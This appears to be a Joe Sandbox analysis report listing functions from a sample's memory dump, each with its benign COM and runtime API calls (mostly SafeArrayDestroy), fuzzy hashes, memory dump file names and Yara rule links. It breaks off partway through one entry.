Opcode Fuzzy Hash: 15bcee82584ddef1bc5da76bfcaab540597d7e1bc81ab99fad4b880ad3c92c0a
Instruction Fuzzy Hash: D1314970E006189FDB01CFA8CD80B6EB7FDAF89214F608586E529E7241C735E980CF50

Function 68969118 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 77952365b826e7e386f519eaa9a8d63d1ba55f4e763dbdcfdab57c31556c2948
Instruction ID: 9b5026204d4b6d19ccec61a1eced222b88d6c246f689c638958bfbd0c05f994e
Opcode Fuzzy Hash: 77952365b826e7e386f519eaa9a8d63d1ba55f4e763dbdcfdab57c31556c2948
Instruction Fuzzy Hash: A1314974E006189FDB01CF68CD80B6EB7FDAF89214FA0859AE529E7241CB71E980CF50

Function 689692C5 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 59248ffaa30527e2a4661330ba46d9ea5d5b92b5c7f2a2342c148e3c69a9ae5c
Instruction ID: 824c043d3e75fb1d9b04741e2877e6f6ad1083b52672c84a602518b4709e878b
Opcode Fuzzy Hash: 59248ffaa30527e2a4661330ba46d9ea5d5b92b5c7f2a2342c148e3c69a9ae5c
Instruction Fuzzy Hash: 6C314870E006189FDB01CBA8CC80B6EB7FDAF89214FA0858AE429E7251C731ED80CF50

Function 68969237 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 7f6f487e9c29fcea4c91a247c6c7c3f82584b9b5cce55ecbf5a7a4fd31f0f1bc
Instruction ID: f8df9a2d03d7db677b454f59ec2d6cc98ac85d86a01d5743f5dfe838f8ccec9c
Opcode Fuzzy Hash: 7f6f487e9c29fcea4c91a247c6c7c3f82584b9b5cce55ecbf5a7a4fd31f0f1bc
Instruction Fuzzy Hash: 35314874E006189FDB01DBA8CD80B5EB7FDAF89214F608586E429E7241C771E980CF50

Function 6896C150 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896C180
SafeArrayPutElement.OLEAUT32(00000000,68963749,?), ref: 6896C1B8
VariantClear.OLEAUT32(?), ref: 6896C1C4
VariantCopy.OLEAUT32(68963749,?), ref: 6896C21B
VariantClear.OLEAUT32(?), ref: 6896C22F
SafeArrayDestroy.OLEAUT32(00000000), ref: 6896C23E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafeVariant$Clear$CopyCreateDestroyElementVector
String ID:
API String ID: 3979206172-0
Opcode ID: 925070d645f3323595ff3ed55e8f60f776ec3d85424af0616b929743ff91a5ee
Instruction ID: 2a71a8bb2e951aaf3d6750956bea1a8c52d4890ae2ddfa87dac7ff8cb92994de
Opcode Fuzzy Hash: 925070d645f3323595ff3ed55e8f60f776ec3d85424af0616b929743ff91a5ee
Instruction Fuzzy Hash: 53311AB5A04209AFDB00DFA8C894B9EBBB8FF59314F108519F915D7350EB35D941CB60

Function 68957370 Relevance: 9.1, APIs: 6, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

InitializeCriticalSection.KERNEL32(00000000,?,00000000,00000000,689C11FD,000000FF,?,68958B80,00000000,?,00000000,?,68958C13,?,?), ref: 68957415
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000,689C11FD,000000FF,?,68958B80,00000000,?,00000000,?,68958C13,?,?), ref: 6895741B
std::exception::exception.LIBCMT ref: 6895743D
__CxxThrowException@8.LIBCMT ref: 68957452
std::exception::exception.LIBCMT ref: 68957461
__CxxThrowException@8.LIBCMT ref: 68957476

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$CriticalInitializeSection$_malloc
String ID:
API String ID: 189561132-0
Opcode ID: fad591044b9ac86664593b2646291ba98d6a0dc5bd83aec5143f0827f6122006
Instruction ID: fa5ed1c7483e4d61fb34002c52f0d4a178b992c22a0c1f00b958657d663d8362
Opcode Fuzzy Hash: fad591044b9ac86664593b2646291ba98d6a0dc5bd83aec5143f0827f6122006
Instruction Fuzzy Hash: 80313AB5900A449FC751CF69C880A9AFBF4FF59310B84855EE85697B40D771E504CF62

Function 6896884F Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 812e7abf21b23c8397429dcb43aff3d9638ecdc6d182b07449d237fd629154fb
Instruction ID: 035c1ee0c840cdd2f4698310fd427ab288c645b4ecbea4b1ac944fe18271035d
Opcode Fuzzy Hash: 812e7abf21b23c8397429dcb43aff3d9638ecdc6d182b07449d237fd629154fb
Instruction Fuzzy Hash: 24313A74E006289FDB11CBA8CD80B5EB7FEAF99214F60858AE429E7241C771ED81CF50

Function 68968B64 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 178754ab2cd0c80fed458d0b67b162206aad27de57b1c639bce18ab9abf5ab51
Instruction ID: e4ed2f57b7d7257b3fce06e898fc9dd2f73afde05c964cea2bde4e15bdfd6835
Opcode Fuzzy Hash: 178754ab2cd0c80fed458d0b67b162206aad27de57b1c639bce18ab9abf5ab51
Instruction Fuzzy Hash: 50314CB0E006189FDB11DBA8CC84B5EB7FDAF99214F64858AE429E7241C775ED81CF50

Function 68968C6E Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: b5034342d0c43504fe0f70bf48fa47584139a1ade49808dfdbf2634b75750669
Instruction ID: edf2ef4af267fb280bd6bd878363923af5096af1d6754339dfb6938b421d877a
Opcode Fuzzy Hash: b5034342d0c43504fe0f70bf48fa47584139a1ade49808dfdbf2634b75750669
Instruction Fuzzy Hash: B8313A70E006189FEB11DB68CC84B6EB7FDAF89214F64859AE429E7245C775ED80CF50

Function 68968D72 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 8deeb4a57ed568408d3b4e946b9941d8d8c131b671919835a0f58c5e05eaa689
Instruction ID: ffb2a49f9032d4a83cd6c60e8c9bd736d03327b6afa2d5a0c03dae84ed97bb08
Opcode Fuzzy Hash: 8deeb4a57ed568408d3b4e946b9941d8d8c131b671919835a0f58c5e05eaa689
Instruction Fuzzy Hash: 28313C70E006189FDB11CB68CC84B9EB7FDAF99214F60868AE529E7245D771ED80CF50

Function 68968E8E Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: e78500f0543e4b865b767c8140c70eea06185ebbed67bcc0f5d3fb3b0bfb908e
Instruction ID: 102e81bb9701e698e9ab528770650412b38532d5e89395bf1bff663088151d26
Opcode Fuzzy Hash: e78500f0543e4b865b767c8140c70eea06185ebbed67bcc0f5d3fb3b0bfb908e
Instruction Fuzzy Hash: 06312B70E006189FDB11DBA8CC84B5EB7FDAF89214FA0868AE429E7245C771E980CF50

Function 68968F07 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 24fa3b20458098fefddfc8a381fd6d7ac058deda890bc09ef89e8ff2ddfde635
Instruction ID: 1986abae79f9fd8657cdf2407d461ef079406d08f348c26b23653b4957f14cfa
Opcode Fuzzy Hash: 24fa3b20458098fefddfc8a381fd6d7ac058deda890bc09ef89e8ff2ddfde635
Instruction Fuzzy Hash: 5B311A70E006189FDB11DBA8CC84B6EB7FDAF85214F64859AE529E7241C771D980CF50

Function 689600B4 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 178754ab2cd0c80fed458d0b67b162206aad27de57b1c639bce18ab9abf5ab51
Instruction ID: b67df64a76de9890f165262d479e1da26fcf0bec6ed876ce859859a28d63a688
Opcode Fuzzy Hash: 178754ab2cd0c80fed458d0b67b162206aad27de57b1c639bce18ab9abf5ab51
Instruction Fuzzy Hash: EC313A70A006189FDB10DBA9CC80BADB7BDAF99714F60858AE428E7241CB71D981CF50

Function 689601BE Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: b5034342d0c43504fe0f70bf48fa47584139a1ade49808dfdbf2634b75750669
Instruction ID: 5fc4de01da8754322cb9350a9e72e9cf59090c1228c30d60d9ea108173cec57b
Opcode Fuzzy Hash: b5034342d0c43504fe0f70bf48fa47584139a1ade49808dfdbf2634b75750669
Instruction Fuzzy Hash: 91312B70A006189FDB10DBA9CC80B6DB7BEAF99614F64859AE418E7241C771D9818F50

Function 689602C2 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

